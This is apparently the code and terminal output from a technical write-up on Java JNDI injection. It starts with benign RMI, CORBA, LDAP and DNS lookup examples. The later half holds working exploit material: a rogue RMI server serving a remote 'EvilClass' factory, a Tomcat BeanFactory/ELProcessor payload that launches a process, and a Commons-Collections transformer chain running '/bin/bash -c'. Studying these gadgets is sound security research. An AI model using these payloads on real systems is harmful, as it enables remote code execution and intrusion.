cn=John, o=Sun, c=US

Context ctx = new InitialContext(env);
Printer printer = (Printer)ctx.lookup("myprinter");
printer.print(report);

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hello extends Remote {
    String sayHello() throws RemoteException;
}

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
        
public class Server implements Hello {
        
    public Server() {}

    public String sayHello() {
        return "Hello, world!";
    }
        
    public static void main(String args[]) {
        
        try {
            Server obj = new Server();
            Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 1098);

            // Bind the remote object's stub in the registry
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("Hello", stub);

            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {

    private Client() {}

    public static void main(String[] args) {

        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            Hello stub = (Hello) registry.lookup("Hello");
            String response = stub.sayHello();
            System.out.println("response: " + response);
        } catch (Exception e) {
            System.err.println("Client exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

javac -d out Client.java  Hello.java  Server.java

$ cd out
$ rmiregistry 1099

# 回到工程所在路径
$ java -cp out Server
Server ready

$ java -cp out Client
response: Hello, world!

@defer.inlineCallbacks
def onConnect(client):
    # The following arguments may be also specified as unicode strings
    # but it is recommended to use byte strings for ldaptor objects
    basedn = b"dc=example,dc=org"
    binddn = b"cn=bob,ou=people,dc=example,dc=org"
    bindpw = b"secret"
    query = b"(cn=bob)"
    try:
        yield client.bind(binddn, bindpw)
    except Exception as ex:
        print(ex)
        raise
    o = LDAPEntry(client, basedn)
    results = yield o.search(filterText=query)
    for entry in results:
        print(entry.getLDIF())

module HelloApp
{
  interface Hello
  {
  string sayHello();
  oneway void shutdown();
  };
};

$ idlj -fall Hello.idl

// HelloServer.java
import HelloApp.*;
import org.omg.CosNaming.*;
import org.omg.CosNaming.NamingContextPackage.*;
import org.omg.CORBA.*;
import org.omg.PortableServer.*;
import org.omg.PortableServer.POA;

import java.util.Properties;

class HelloImpl extends HelloPOA {
    
  public String sayHello() {
    return "Hello from server";
  }

  public void shutdown() {
      System.out.println("shutdown");
  }
}


public class HelloServer {

  public static void main(String args[]) {
    try{
      // create and initialize the ORB
      ORB orb = ORB.init(args, null);

      // get reference to rootpoa & activate the POAManager
      POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
      rootpoa.the_POAManager().activate();

      // create servant
      HelloImpl helloImpl = new HelloImpl();

      // get object reference from the servant
      org.omg.CORBA.Object ref = rootpoa.servant_to_reference(helloImpl);
      Hello href = HelloHelper.narrow(ref);
          
      // get the root naming context
      // NameService invokes the name service
      org.omg.CORBA.Object objRef =
          orb.resolve_initial_references("NameService");
      // Use NamingContextExt which is part of the Interoperable
      // Naming Service (INS) specification.
      NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

      // bind the Object Reference in Naming
      String name = "Hello";
      NameComponent path[] = ncRef.to_name( name );
      ncRef.rebind(path, href);

      System.out.println("HelloServer ready and waiting ...");

      // wait for invocations from clients
      orb.run();
    } 
        
      catch (Exception e) {
        System.err.println("ERROR: " + e);
        e.printStackTrace(System.out);
      }
          
      System.out.println("HelloServer Exiting ...");
        
  }
}

import HelloApp.*;
import org.omg.CosNaming.*;
import org.omg.CosNaming.NamingContextPackage.*;
import org.omg.CORBA.*;

public class HelloClient
{
  static Hello helloImpl;

  public static void main(String args[])
    {
      try{
        // create and initialize the ORB
        ORB orb = ORB.init(args, null);

        // get the root naming context
        org.omg.CORBA.Object objRef = 
            orb.resolve_initial_references("NameService");
        // Use NamingContextExt instead of NamingContext. This is 
        // part of the Interoperable naming Service.  
        NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);
 
        // resolve the Object Reference in Naming
        String name = "Hello";
        helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

        System.out.println("Obtained a handle on server object: " + helloImpl);
        System.out.println(helloImpl.sayHello());

        helloImpl.shutdown();

        } catch (Exception e) {
          System.out.println("ERROR : " + e) ;
          e.printStackTrace(System.out);
        }
    }

}

orbd -ORBInitialPort 1050

java HelloServer -ORBInitialPort 1050 -ORBInitialHost localhost

java HelloClient -ORBInitialPort 1050 -ORBInitialHost localhost

Obtained a handle on server object: IOR:000000000000001749444c3a48656c6c6f4170702f48656c6c6f3a312e300000000000010000000000000082000102000000000a3132372e302e302e3100e4d000000031afabcb0000000020b296da9800000001000000000000000100000008526f6f74504f410000000008000000010000000014000000000000020000000100000020000000000001000100000002050100010001002000010109000000010001010000000026000000020002
Hello from server

// DNSClient.java
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class DNSClient {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            Attributes res = ctx.getAttributes("example.com", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

$ javac DNSClient.java
$ java DNSClient
{a=A: 93.184.216.34}

public class Client {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:8080");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
            Attributes res = lookCtx.getAttributes("");
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

$ java LDAPClient
{mail=mail: bob@example.org, userpassword=userPassword: [B@c038203, objectclass=objectClass: inetOrgPerson, person, top, gn=gn: Bob, sn=sn: Roberts, cn=cn: bob}

public class JNDIDynamic {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <domain>");
            return;
        }
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
            Attributes res = lookCtx.getAttributes("", new String[]{"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

$ javac JNDIDynamic.java
$ java JNDIDynamic
Usage: lookup <domain>
$ java JNDIDynamic douban.com
{a=A: 140.143.177.206, 49.233.242.15, 81.70.124.99}

$ java JNDIDynamic "ldap://localhost:8080/cn=evilpan"
javax.naming.NameNotFoundException: [LDAP: error code 32 - No Such Object]; remaining name 'cn=evilpan'
	at java.naming/com.sun.jndi.ldap.LdapCtx.mapErrorCode(LdapCtx.java:3183)
	at java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:3104)
	at java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:2895)
	at java.naming/com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1034)
	at java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:207)
	at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
	at JNDIDynamic.main(JNDIDynamic.java:18)

$ ./server.py
2021-12-13 19:50:08+0800 [-] Log opened.
2021-12-13 19:50:08+0800 [-] LDAPServerFactory starting on 8080
2021-12-13 19:50:08+0800 [-] Starting factory <__main__.LDAPServerFactory object at 0x10e552dc0>

2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S<-C LDAPMessage(id=1, value=LDAPBindRequest(version=3, dn=b'', auth='', sasl=False), controls=None)
2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S->C LDAPMessage(id=1, value=LDAPBindResponse(resultCode=0), controls=None)
2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S<-C LDAPMessage(id=2, value=LDAPSearchRequest(baseObject=b'cn=evilpan', scope=0, derefAliases=3, sizeLimit=0, timeLimit=0, typesOnly=0, filter=LDAPFilter_present(value=b'objectClass'), attributes=[]), controls=[(b'2.16.840.1.113730.3.4.2', None, None)])
2021-12-13 19:50:09+0800 [LDAPServer,0,127.0.0.1] S->C LDAPMessage(id=2, value=LDAPSearchResultDone(resultCode=32), controls=None)
2021-12-13 19:50:10+0800 [LDAPServer,0,127.0.0.1] S<-C LDAPMessage(id=3, value=LDAPUnbindRequest(), controls=[(b'2.16.840.1.113730.3.4.2', None, None)])

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class JNDILookup {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <name>");
            return;
        }
        try {
            Object ret = new InitialContext().lookup(args[0]);
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

public class ServerExp {
        
    public static void main(String args[]) {
        
        try {
            Registry registry = LocateRegistry.getRegistry(1099);

            String factoryUrl = "http://localhost:5000/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static void log(String key) {
        try {
            System.out.println("EvilClass: " + key);
        } catch (Exception e) {
            // do nothing
        }
    }

    {
        EvilClass.log("IIB block");
    }

    static {
        EvilClass.log("static block");
    }

    public EvilClass() {
        EvilClass.log("constructor");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        EvilClass.log("getObjectInstance");
        return null;
    }
}

$ java -Dcom.sun.jndi.rmi.object.trustURLCodebase=true JNDILookup rmi://localhost:1099/Foo
EvilClass: static block
EvilClass: IIB block
EvilClass: constructor
EvilClass: getObjectInstance
ret: null

javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at JNDILookup.main(JNDILookup.java:13)

// com/sun/jndi/rmi/registry/RegistryContext.java
private Object decodeObject(Remote r, Name name) throws NamingException {
    try {
        Object obj = (r instanceof RemoteReference)
                    ? ((RemoteReference)r).getReference()
                    : (Object)r;

        /*
            * Classes may only be loaded from an arbitrary URL codebase when
            * the system property com.sun.jndi.rmi.object.trustURLCodebase
            * has been set to "true".
            */

        // Use reference if possible
        Reference ref = null;
        if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }

        if (ref != null && ref.getFactoryClassLocation() != null &&
            !trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        }
        return NamingManager.getObjectInstance(obj, name, this,
                                                environment);
//  } catch (NamingException e) { ...
}

// javax/naming/spi/NamingManager.java
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                        Hashtable<?,?> environment)
    throws Exception
{
    // ...
    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                    environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性，并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

Registry registry = LocateRegistry.getRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/open','/System/Applications/Calculator.app']).start()\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("Foo", wrapper);
System.err.println("Server ready");

// java/org/apache/naming/ResourceRef.java
/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation) {

$ java -cp "apache-tomcat-8.5.73/lib/*:." JNDILookup rmi://localhost:1099/Foo
ret: javax.el.ELProcessor@149e0f5d

$ java JNDILookup ldap://localhost/Test
EvilClass: static block
EvilClass: IIB block
EvilClass: constructor
EvilClass: getObjectInstance
ret: null

@SuppressWarnings("unchecked")
private static Object getObject ( String cmd ) throws Exception
{
    Transformer[]   tarray      = new Transformer[]
    {
        new ConstantTransformer( Runtime.class ),
        new InvokerTransformer
        (
            "getMethod",
            new Class[]
            {
                String.class,
                Class[].class
            },
            new Object[]
            {
                "getRuntime",
                new Class[0]
            }
        ),
        new InvokerTransformer
        (
            "invoke",
            new Class[]
            {
                Object.class,
                Object[].class
            },
            new Object[]
            {
                null,
                new Object[0]
            }
        ),
        new InvokerTransformer
        (
            "exec",
            new Class[]
            {
                String[].class
            },
            new Object[]
            {
                new String[]
                {
                    "/bin/bash",
                    "-c",
                    cmd
                }
            }
        )
    };
    Transformer     tchain      = new ChainedTransformer( new Transformer[0] );
    Map             normalMap_0 = new HashMap();
    Map             normalMap_1 = new HashMap();
    Map             lazyMap_0   = LazyMap.decorate( normalMap_0, tchain );
    Map             lazyMap_1   = LazyMap.decorate( normalMap_1, tchain );
    lazyMap_0.put( "scz", "same" );
    lazyMap_1.put( "tDz", "same" );
    Hashtable       ht          = new Hashtable();
    ht.put( lazyMap_0, "value_0" );
    ht.put( lazyMap_1, "value_1" );
    lazyMap_1.remove( "scz" );
    Field           f           = ChainedTransformer.class.getDeclaredField( "iTransformers" );
    f.setAccessible( true );
    f.set( tchain, tarray );
    return( ht );
}

$ java -cp ldap/commons-collections-3.1.jar:. JNDILookup ldap://localhost/Test
ret: {{tDz=same, scz=java.lang.UNIXProcess@2dda6444}=value_1, {scz=same}=value_0}